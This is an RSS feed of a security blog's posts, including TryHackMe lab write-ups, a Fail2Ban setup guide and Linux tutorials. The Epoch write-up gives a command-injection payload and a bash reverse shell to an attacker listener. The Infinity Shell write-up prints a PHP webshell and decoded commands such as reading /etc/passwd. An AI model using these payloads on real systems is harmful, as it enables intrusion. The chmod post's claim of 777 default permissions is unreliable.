<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Pndsec - Medium]]></title>
        <description><![CDATA[PNDSEC delivers the latest in cybersecurity news, insights, and trends. Stay informed about emerging threats, security best practices, and news technologies shaping the digital world. - Medium]]></description>
        <link>https://medium.com/pndsec?source=rss----e5e79ed7b9a0---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Pndsec - Medium</title>
            <link>https://medium.com/pndsec?source=rss----e5e79ed7b9a0---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 19:01:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/pndsec" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DarkMatter Writeup — TryHackMe CTF Solution]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/pndsec/darkmatter-writeup-tryhackme-ctf-solution-f74db7417ef5?source=rss----e5e79ed7b9a0---4"><img src="https://cdn-images-1.medium.com/max/1160/1*JuJfI_VA7cijPNX2gXxHAw.jpeg" width="1160"></a></p><p class="medium-feed-snippet">&#x1F3A9; Welcome to DarkMatter Practice! Today&#x2019;s mission: exploit a weak RSA implementation, recover the private key, and decrypt some&#x2026;</p><p class="medium-feed-link"><a href="https://medium.com/pndsec/darkmatter-writeup-tryhackme-ctf-solution-f74db7417ef5?source=rss----e5e79ed7b9a0---4">Continue reading on Pndsec »</a></p></div>]]></description>
            <link>https://medium.com/pndsec/darkmatter-writeup-tryhackme-ctf-solution-f74db7417ef5?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/f74db7417ef5</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-rootme]]></category>
            <category><![CDATA[tryhackme-pre-security]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 02:28:19 GMT</pubDate>
            <atom:updated>2025-12-29T02:28:09.165Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Infinity ShellWriteup — TryHackMe CTF Solution]]></title>
            <link>https://medium.com/pndsec/infinity-shellwriteup-tryhackme-ctf-solution-82ab7e8e2146?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/82ab7e8e2146</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Tue, 02 Dec 2025 15:55:09 GMT</pubDate>
            <atom:updated>2025-12-02T15:54:45.595Z</atom:updated>
            <content:encoded><![CDATA[<h3>Infinity Shell Writeup — TryHackMe CTF Solution</h3><p>Welcome to the <strong>Infinity Shell</strong> room! In this challenge, we dive into the aftermath of an attack and investigate the traces left behind by an implanted <strong>webshell</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0qYVOT3R1S19uTANc7S_Bg.png" /><figcaption>tryhackme infinity shell room</figcaption></figure><h3>What’s a Webshell Anyway?</h3><p>A <strong>webshell</strong> is a malicious script uploaded to a compromised web server.<br> Its mission? Provide the attacker a sneaky backdoor so they can control the server remotely — usually through a normal-looking browser request. Basically: <em>a hacker’s Swiss-army knife disguised as an innocent file</em>.</p><h3>Start the Machine</h3><p>The room intro says:</p><blockquote>Cipher’s legion of bots exploited a known vulnerability in our web application and dropped a dangerous web shell. Investigate the breach and trace the attacker’s footsteps!</blockquote><p>And the good news? You <strong>don’t need to start the attack box or VPN</strong>. Easy mode unlocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*37qwGc5wdxQgZA4AEm-0nA.png" /><figcaption>tryhackme infinity shell room</figcaption></figure><h3>Step 1: Hunting for the Shell</h3><p>Webshells often hide in plain sight — files with weird names, odd locations, or “I-don’t-belong-here” vibes.</p><p>Server started → 3 minutes of waiting → Time to investigate.</p><p>Because the description mentioned a “web application,” we go straight to:</p><pre>cd /var/www<br>ls -la</pre><p>These commands are our <strong>dual katanas</strong> in Linux forensics.</p><p>Inside /var/www/html/, we find a suspicious structure: CMSsite-master/img/ — and inside it, something spicy:images.php</p><p>Let’s open it:</p><pre>cat images.php</pre><p>Boom. A tiny yet deadly payload:</p><pre>&lt;?php system(base64_decode($_GET[&#39;query&#39;])); ?&gt;</pre><p>A simple GET parameter → Base64 decoded → Executed as a system command. Classic webshell behavior.</p><h3>Step 2: Follow the Logs</h3><p>Now we want to see how the attacker used the shell.<br>Apache logs are our treasure map:</p><pre>cd /var/log/apache2/<br>cat other_vhosts_access.log.1 | grep images.php</pre><p>And we hit a jackpot of base64-encoded commands:</p><pre>ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - <br>[06/Mar/2025:09:51:28 +0000] <br>&quot;GET /CMSsite-master/img/images.php?query=XXXX&quot;</pre><h3>Step 3: Decode the Base64 Commands</h3><p>Let’s test a few logs manually:</p><pre>echo &quot;d2hvYW1pCg==&quot; | base64 -d   # whoami<br>echo &quot;bHMK&quot; | base64 -d           # ls<br>echo &quot;aWQK&quot; | base64 -d           # id<br>echo &quot;aWZjb25maWcK&quot; | base64 -d   # ifconfig<br>echo &quot;Y2F0IC9ldGMvcGFzc3dkCg==&quot; | base64 -d   # cat /etc/passwd</pre><p>Then we spot the big boy — a suspiciously long base64 string.</p><pre>echo &quot;***XzM0c3lfdzNic2gzbGx9****&quot; | base64 -d<br>THM{REDACTED}</pre><p>🎉 Flag captured!</p><p>Easy, peasy, shell-squeezy. A bit of Linux, a pinch of forensics, and the attacker’s trail becomes clear. Room completed. GG hacker!</p><p>You can find that premium room inside tryhackme. From <a href="https://tryhackme.com/room/hfb1infinityshell">that link</a>!</p><p>Stay safe and ethical!</p><p>From 🐼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82ab7e8e2146" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/infinity-shellwriteup-tryhackme-ctf-solution-82ab7e8e2146">Infinity ShellWriteup — TryHackMe CTF Solution</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Epoch Writeup — TryHackMe CTF Solution]]></title>
            <link>https://medium.com/pndsec/epoch-writeup-tryhackme-ctf-solution-a589e7256dad?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/a589e7256dad</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Sun, 30 Nov 2025 15:32:23 GMT</pubDate>
            <atom:updated>2025-11-30T15:32:22.656Z</atom:updated>
            <content:encoded><![CDATA[<h3>Epoch Writeup — TryHackMe CTF Solution</h3><p>Welcome to <strong>Epoch</strong>, the room where time is fake, timestamps lie, and we hackers show who’s the real UNIX bro!</p><p>Room is easy! Just 30 min style! Let’s go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*kls_OLPIOOs9JfEcVjttjA.png" /><figcaption>tryhackme epoch</figcaption></figure><p>Before we break things (responsibly of course), let’s answer the big question:</p><p><strong>What Is Epoch?</strong></p><p>In computers, <strong>Epoch</strong> is basically the moment the UNIX systems declared:</p><p>“Let time begin!”<br> — <em>1 January 1970 00:00:00 UTC</em></p><p>Since that sacred moment, every passing second is counted as a <strong>Unix Timestamp</strong>. That’s what epoch time means.</p><p><strong>Nerd Notes</strong></p><ul><li><strong>10 digits</strong> → seconds → 1700000000</li><li><strong>13 digits</strong> → milliseconds → 1700000000000</li><li><strong>16 digits</strong> → microseconds → (only used by creatures living in nanosecond dimensions)</li></ul><p>Alright, now that we sacrificed enough <strong>brain cells</strong> to the timestamp demons, let’s hack.</p><h3>Challenge Setup</h3><p>Click <strong>Start Machine</strong>, boot up your <strong>AttackBox</strong>, grab a coffee… About <strong>5 minutes</strong> later, your target is ready.</p><p>You can connect via AttackBox or your own machine using the TryHackMe VPN. Either way, hit the provided IP in the attack box’s browser.</p><p>You open the page and boom — an online epoch converter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*mu1g4yM39ms4ZSmuRdSTsg.png" /><figcaption>epoch converter tryhackme</figcaption></figure><p>Harmless, right?</p><p>Wrong. If it’s on <strong>tryhackme</strong>, assume it’s something in there.</p><p>Please try some values! You can pass values like:</p><p>http://&lt;ip-address&gt;/?epoch=1</p><p>Or just write the box 1 and try to convert.</p><p><strong>Let’s poke it:</strong></p><p>http://&lt;ip-address&gt;/?epoch=1|id</p><p><strong>Oh look, it executed. Nice. Now try:</strong></p><p>http://&lt;ip-address&gt;/?epoch=1|whoami</p><p>Yeah very nice example of <strong>command injection</strong>!</p><h3><strong>Now time for Reverse Shell</strong></h3><p><strong>On your machine:</strong></p><p>nc -nlvp 4444</p><p><strong>Then craft your payload:</strong></p><p>&amp;&amp;bash -i &gt;&amp; /dev/tcp/&lt;your-ip&gt;/4444 0&gt;&amp;1</p><p><strong>Final attack URL:</strong></p><p>http://&lt;ip-address&gt;/?epoch=1|bash -i &gt;&amp; /dev/tcp/&lt;your-ip&gt;/4444 0&gt;&amp;1</p><p><strong>Or just enter to box: </strong>1|bash -i &gt;&amp; /dev/tcp/&lt;your-ip&gt;/4444 0&gt;&amp;1</p><p>And boom — shell pops like popcorn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*jMf0nohNY985Gafcpa6r1w.png" /><figcaption>shell inside tryhackme epoch</figcaption></figure><p>You are officially inside the box 😎 Try ls, ls -a. But yeah where is the flag?</p><p>Don’t forget the check hints button in tryhackme when stuck somewhere!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*WE3OVCFoMisze7bcL-NeXQ.png" /><figcaption>hint tryhackme epoch room</figcaption></figure><blockquote>At this point, you may wander the file system like a lost cyber-hobbit… But wait!</blockquote><p>And it <strong>basically</strong> screams: Use “<strong>printenv”</strong></p><p><strong>Oh yeah what is printenv?</strong></p><p><strong>printenv</strong> is a shell command used to <strong>display environment variables</strong> in Unix/Linux systems.</p><p>And among PATH, HOME, USER, LANG…</p><p>You suddenly see:</p><p>FLAG=flag{REDACTED}</p><p>🎉 <strong>Gotcha. GG. Room completed.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6crv8S7mh3qmGPA4-V14VA.png" /><figcaption>tryhackme epoch</figcaption></figure><p>You can find that premium room inside tryhackme. From <a href="https://tryhackme.com/room/epoch">that link</a>!</p><p>Stay safe and ethical!</p><p>From 🐼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a589e7256dad" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/epoch-writeup-tryhackme-ctf-solution-a589e7256dad">Epoch Writeup — TryHackMe CTF Solution</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fail2Ban: Lightweight but Powerful Protection]]></title>
            <link>https://medium.com/pndsec/fail2ban-lightweight-but-powerful-protection-79f6bf514756?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/79f6bf514756</guid>
            <category><![CDATA[vps]]></category>
            <category><![CDATA[fail2ban]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[settings]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 23:24:26 GMT</pubDate>
            <atom:updated>2025-06-22T23:24:25.918Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Fail2Ban</strong> is a security software that helps protect your server against malicious external connections. It is especially useful for detecting repeated failed login attempts (<strong>brute-force attacks</strong>) on services like SSH, and then <strong>temporarily</strong> or <strong>permanently</strong> <strong>banning</strong> the offending IP addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ma99nURVWH20b8bc" /><figcaption>image @ linkedin</figcaption></figure><h3><strong>How Does It Work?</strong></h3><ul><li>Detects IP addresses with excessive failed login attempts.</li><li>Blocks those IPs using predefined rules via tools like iptables or firewalld.</li><li>It scans server log files (e.g., /var/log/auth.log).</li></ul><h3><strong>What Is It Used For?</strong></h3><ul><li>Can also be configured to defend services like web applications, FTP, or mail servers.</li><li>Works automatically, reducing the workload for system administrators.</li><li>Protects against brute-force attacks on SSH.</li></ul><h3>Why Is It Still Popular?</h3><ul><li>Resource-Friendly: Uses minimal system resources, ideal for low-spec servers.</li><li>Automated Response: Automatically detects suspicious activity and bans IPs.</li><li>Simple &amp; Effective: Easy to install and run without complex setup.</li><li>Free &amp; Open Source: A big plus in the GNU/Linux community.</li><li>Broad Service Support: Supports not just SSH, but also Apache, Nginx, Postfix, vsftpd, and many others.</li></ul><h3>When Is It Not Enough?</h3><p>Fail2Ban is a great first line of defense, but it has limitations:</p><ul><li>Less effective against distributed attacks (coming from many different IPs).</li><li>Does not provide real-time threat intelligence or advanced attack analysis.</li></ul><p>That’s why it’s recommended to use Fail2Ban alongside WAFs (Web Application Firewalls) or IDS/IPS systems.</p><h3><strong>Fail2Ban Installation (Ubuntu/Debian Example)</strong></h3><p>Installing Fail2Ban is very straightforward. Below are the steps for Ubuntu/Debian systems. Other distros may have slightly different commands.</p><pre>1. Update your packages:<br><br>sudo apt update &amp;&amp; sudo apt upgrade -y<br><br>2. Install Fail2Ban:<br><br>sudo apt install fail2ban -y</pre><h3><strong>Configuration</strong></h3><pre># The main configuration file is located at:<br><br>/etc/fail2ban/jail.conf<br><br># However, it&#39;s recommended to create your own settings in jail.local:<br><br>sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local<br>sudo nano /etc/fail2ban/jail.local</pre><h3>Example: SSH Protection</h3><pre>[sshd]<br>enabled = true<br>port = ssh<br>logpath = %(sshd_log)s<br>maxretry = 5<br>bantime = 3600<br>findtime = 600</pre><pre># What do these settings mean?<br><br>enabled: SSH protection is active<br>maxretry: Ban after 5 failed attempts<br>bantime: Ban lasts for 1 hour (3600 seconds)<br>findtime: Count failures within 10 minutes (600 seconds)</pre><pre># Restart the service:<br><br>sudo systemctl restart fail2ban<br><br># Check Fail2Ban service:<br><br>sudo systemctl status fail2ban<br><br># List active jails:<br><br>sudo fail2ban-client status<br><br># View banned IPs for SSH:<br><br>sudo fail2ban-client status sshd<br><br># Fail2Ban logs are located at:<br><br>/var/log/fail2ban.log</pre><p><strong>Fail2Ban</strong> remains a valuable tool in any server administrator’s security toolkit. While it may not replace more advanced intrusion detection systems, its simplicity, reliability, and effectiveness make it an excellent first line of defense against brute-force attacks.</p><p>With just a few lines of configuration, you can significantly reduce the risk of unauthorized access to your systems. Whether you’re managing a personal VPS or a production server, <strong>Fail2Ban</strong> is a <strong>lightweight</strong> and <strong>powerful</strong> <strong>solution</strong> worth implementing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79f6bf514756" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/fail2ban-lightweight-but-powerful-protection-79f6bf514756">Fail2Ban: Lightweight but Powerful Protection</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pndsec Tool : Hide Tweets Chrome App]]></title>
            <link>https://medium.com/pndsec/pndsec-tool-hide-tweets-chrome-app-1253af3fa218?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/1253af3fa218</guid>
            <category><![CDATA[chrome-apps]]></category>
            <category><![CDATA[elon-musk]]></category>
            <category><![CDATA[hide]]></category>
            <category><![CDATA[twitter]]></category>
            <category><![CDATA[xs]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 09:54:50 GMT</pubDate>
            <atom:updated>2025-03-30T09:54:50.738Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pndsec Tool : Hide Tweets Chrome App</h3><p>Hello, We have released our first tool as Pndsec! With this tool, you can install our extension on Chrome and other browsers to revert a change that Elon Musk introduced to X.com (formerly Twitter) some time ago.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*6LhZxql8l8mTCD3YS3rtjA.jpeg" /><figcaption>yellow bird</figcaption></figure><p>So, what is this change? As you may know, under the pretense of “freedom of speech,” X still displays tweets from users you have blocked in your timeline. This can be mentally <strong>exhausting</strong>. While existing filters work well, we are already exposed to countless fake ads and other unnecessary content. To solve this issue, we developed an alternative approach — a Chrome extension.</p><p>With version 1.1 of our extension, you can now <strong>import or export</strong> your blocklist, whether you add entries manually or import a pre-made list.</p><p>In the image below, you can take a closer look at the extension. On the left side, you can see the blocked users and manually remove them using the <strong>Remove</strong> button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*FWoQtIjhv5NMiQOOncEyPw.jpeg" /><figcaption>hide tweets app</figcaption></figure><p>Additionally, in the bottom-right section, you can perform <strong>import/export operations</strong> and back up your list as a simple JSON file or load an existing list.</p><p>There are <strong>no limits </strong>on the number of blocked users, but to avoid performance issues, we recommend not using an excessively long list.</p><p>To follow the “yellow bird” and get the extension, visit our <a href="https://github.com/pndsec-com/hide-tweets-chrome-app"><strong>GitHub</strong></a><strong> </strong>page. Feel free to share your ideas or suggested improvements with us!</p><p><strong>Thank you.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1253af3fa218" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/pndsec-tool-hide-tweets-chrome-app-1253af3fa218">Pndsec Tool : Hide Tweets Chrome App</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Linux Commands]]></title>
            <link>https://medium.com/pndsec/basic-linux-commands-7c22973c9388?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/7c22973c9388</guid>
            <category><![CDATA[basic-commands]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[study]]></category>
            <category><![CDATA[learn]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Thu, 20 Mar 2025 07:53:07 GMT</pubDate>
            <atom:updated>2025-03-20T07:53:07.536Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, in this article, I will provide some basic information about Linux commands. At Pndsec, we believe this will serve as a great introductory resource for the Linux training sessions we plan to publish in the future.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*XGO8IwSlIQnR0qT1.png" /><figcaption>source: linuxiac.com</figcaption></figure><p>First and foremost, Linux systems are widely used worldwide. If you plan to work in fields such as cybersecurity or cloud engineering and wish to advance your career in these areas, Linux systems will be indispensable for you.</p><p>Although there are various distributions of Linux, they generally follow the same command structure.</p><p>Now, let’s discuss some fundamental commands such as ls, cd, pwd, rm, mkdir, cp, mv, cat, and tail.</p><h4>ls Command</h4><p>The ls command lists the files and directories in the current folder.</p><ul><li>Using ls -l, you can view the contents in a formatted list view.</li><li>To see hidden files, use ls -la.</li></ul><h4>cd Command</h4><p>The cd command is used to change directories.</p><ul><li>For example, cd newfolder moves into &quot;newfolder&quot; (provided it exists in the current directory).</li><li>If you want to navigate to a directory outside the current one, use the full path, such as cd /var/www/test/.</li></ul><h4>pwd Command</h4><p>The pwd (print working directory) command displays the full path of the current directory.</p><h4>mkdir Command</h4><p>The mkdir command creates a new directory.</p><pre>mkdir test-folder</pre><h4>rm Command</h4><p>The rm command is used for deleting files and directories.</p><ul><li>rm filename deletes a file.</li><li>rm -f forces the deletion of a file.</li><li>rm -r foldername deletes a directory and its contents.</li><li>rm -rf foldername force the deletion a directory and its contents.</li><li>rm -rf / is a highly dangerous command as it forcibly deletes the entire system. Be extremely cautious ️when using 🔴rm -rf🔴</li></ul><h4>cp Command</h4><p>The cp command is used to copy files.</p><pre>cp file1 file2</pre><p>This copies file1 to file2.</p><h4>mv Command</h4><p>The mv command moves or renames files</p><pre>mv file1 file2</pre><p>This renames file1 to file2. You can also use absolute paths for moving files between directories. This is particularly useful in cybersecurity when setting up tools.</p><h4>touch Command</h4><p>The touch command creates a new empty file.</p><pre>touch newfile</pre><h4>cat Command</h4><p>The cat command reads the content of a file and outputs it to the terminal.</p><ul><li>cat file displays the file&#39;s content.</li><li>cat &gt; file allows you to write to a file (this will overwrite existing content). Be careful when using this.</li><li>cat &gt;&gt; file appends new content without deleting the existing data.</li></ul><h4>tail Command</h4><p>The tail command is used to view the last lines of a file.</p><ul><li>tail -f file allows you to monitor a live log file in real-time. This is useful for tracking logs dynamically.</li></ul><p>This concludes our first article on basic Linux commands. Stay tuned for more advanced topics in our upcoming articles.</p><p>See you soon!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c22973c9388" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/basic-linux-commands-7c22973c9388">Basic Linux Commands</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Basic Chmod]]></title>
            <link>https://medium.com/pndsec/understanding-basic-chmod-8b93a82baf95?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/8b93a82baf95</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[chmod]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Wed, 12 Mar 2025 07:06:01 GMT</pubDate>
            <atom:updated>2025-03-12T07:06:01.333Z</atom:updated>
            <content:encoded><![CDATA[<p>chmod is a system command used to modify the access permissions of files and directories. It has various flags that allow for different use cases. This article provides an overview of chmod, helping you take a step forward in your Linux journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*FAkkyWR50rVkEc2X.png" /><figcaption>chmod</figcaption></figure><h4>Chmod Permission Models</h4><p>At first glance, chmod operates with three different permission types:</p><ul><li><strong>Read (r)</strong> — Grants permission to read or open a file/directory.</li><li><strong>Write (w)</strong> — Grants permission to create, modify, or delete a file/directory.</li><li><strong>Execute (x)</strong> — Grants permission to execute a file as a program or script.</li></ul><p>The chmod command itself is short for <strong>&quot;change mode&quot;</strong>, and permissions are represented as follows:</p><ul><li>r – Read</li><li>w – Write</li><li>x – Execute</li></ul><h4>User Categories in Chmod</h4><p>There are three types of users that interact with file permissions:</p><ul><li>u – <strong>User (Owner)</strong></li><li>g – <strong>Group</strong></li><li>o – <strong>Other (Everyone else)</strong></li></ul><h4>File Types in Linux</h4><p>When working with chmod, understanding file types is essential:</p><ul><li>- – Regular file</li><li>d – Directory</li><li>l – Symbolic link</li><li>b – Block special file</li><li>c – Character special file</li><li>p – Named pipe</li></ul><h4>Operators in Chmod</h4><p>When modifying permissions, three operators are commonly used:</p><ul><li>+ – Adds a permission</li><li>- – Removes a permission</li><li>= – Sets an exact permission</li></ul><h4>Viewing File and Directory Permissions</h4><p>To check file and directory permissions, use the ls -l command. For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-ZsoMxEgiL2s60W3" /></figure><ul><li>The first character indicates the file type (d for directory, - for a regular file).</li><li>The next nine characters represent permissions in the 1-3-3-3 format:</li><li>First three (rwx) – <strong>User (Owner)</strong></li><li>Middle three (r-x) – <strong>Group</strong></li><li>Last three (r-x) – <strong>Other</strong></li></ul><p>For example, test.txt has rw- for the owner, r-- for the group, and r-- for others, meaning the owner can read and write, while everyone else can only read.</p><h4>Numeric Representation of Permissions</h4><p>Permissions can also be represented numerically:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*Ve2-a9UdWnfUoWk5RDNlxw.png" /></figure><p>Each digit corresponds to a sum of values:</p><ul><li>r = 4</li><li>w = 2</li><li>x = 1</li></ul><p>This calculation is based on powers of 2. For example, in the 7th row, “111” means 1+2+4=7, 1+2+4 = 7, 1+2+4=7. This is commonly represented as <strong>777</strong>, which grants full permissions to everyone.</p><p>Similarly, the 6th row, “110,” equals 0+2+4=6, 0+2+4 = 6, 0+2+4=6</p><p>(where 2⁰ = 0, 2¹ = 2, 2² = 4 then summing them up to 0+2+4= 6). This means that everyone has only <strong>read and write</strong> permissions. (Remember, the calculation is done in <strong>reverse</strong> <strong>order</strong>.)</p><p>For example, chmod 777 gives <strong>full permissions</strong> to everyone (rwxrwxrwx), while chmod 644 allows read-write for the owner and read-only for everyone else (rw-r--r--).</p><h4>Default and Recommended Permissions</h4><ul><li><strong>Default settings in UNIX/Linux:</strong></li><li>Directories: 777 (rwxrwxrwx)</li><li>Files: 666 (rw-rw-rw-)</li></ul><h4><strong>Recommended for remote servers:</strong></h4><ul><li>Directories: 755 (rwxr-xr-x)</li><li>Files: 644 (rw-r--r--)</li></ul><h3>Common Chmod Commands</h3><pre>Grant read permission to all users:<br><br>chmod +r test.txt<br>chmod 444 test.txt<br>chmod ugo=r test.txt<br><br>Grant read &amp; write permissions to all users:<br><br>chmod +rw test.txt<br>chmod 666 test.txt<br>chmod ugo=rw test.txt<br><br>Remove execute permission for all users:<br><br>chmod -x test.txt<br>chmod ugo-x test.txt<br><br>Grant read permission to the group only:<br><br>chmod g+r test.txt<br>chmod 664 test.txt</pre><p>Mastering chmod doesn’t require extensive effort, but understanding its basic rules is essential. For example, when downloading a script and wanting to execute it, don’t forget to run:</p><pre>chmod +x script.sh</pre><p>This grants <strong>execute</strong> permission, making the file runnable.</p><p>In the next article, I’ll cover more advanced chmod usage scenarios.</p><p>Stay tuned! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b93a82baf95" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pndsec/understanding-basic-chmod-8b93a82baf95">Understanding Basic Chmod</a> was originally published in <a href="https://medium.com/pndsec">Pndsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Forgotten Google Services: Google Alerts]]></title>
            <link>https://medium.com/pndsec/the-forgotten-google-services-google-alerts-74502ba9c963?source=rss----e5e79ed7b9a0---4</link>
            <guid isPermaLink="false">https://medium.com/p/74502ba9c963</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[old]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[services]]></category>
            <dc:creator><![CDATA[Erkan Kavas]]></dc:creator>
            <pubDate>Sat, 01 Mar 2025 13:39:01 GMT</pubDate>
            <atom:updated>2025-03-01T13:41:55.809Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello! I’m back with a unique article series. This time, we’ll focus on Google’s discontinued services — those that have been shut down or are still technically accessible but have lost their functionality. Finding a complete list of all Google services ever launched is quite challenging. However, by referencing both Google’s official <a href="https://about.google/intl/en_id/products/">product archives</a> and <a href="https://en.wikipedia.org/wiki/List_of_Google_products">Wikipedia</a>, I’ve conducted an extensive investigation. The result? Yeah this series…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1TuZar-y1A6zHwjE.png" /><figcaption>google alerts // yodeck</figcaption></figure><p>In the first article, I’ll discuss <strong>Google Alerts</strong>. <a href="http://www.google.com/alerts">This service</a> was activated in August 2003, making it over 21 years old. Interestingly, the page for setting up alerts is still live and accessible.</p><p>However, the moment you visit it, you’ll notice that it retains Google’s old design and logo set, making its status quite obvious. It even prompts you to add your Google account name and email address, just like in the early days.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mxM-xnvk0I8ZUOC1" /><figcaption>google alerts main page</figcaption></figure><p>Google Alerts was designed to notify users about content changes on indexed websites. At one point, it was so widely used that it contributed significantly to spam issues in Gmail’s golden era. Eventually, the service became obsolete due to Google’s evolving structure and the rise of real-time notifications, which effectively replaced it.</p><p>While it technically still functions, Google’s official statements indicate that it hasn’t received updates since 2013, meaning it is no longer maintained. Given that Google has been known to <strong>remove old blog posts</strong>, it’s likely that this service <strong>no longer has an active team</strong> behind it. This lack of attention could also make it an interesting <strong>target for</strong> <strong>bug hunters</strong> due to potential security vulnerabilities — but that’s a topic for another discussion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sE4a5qliVxKSg1st" 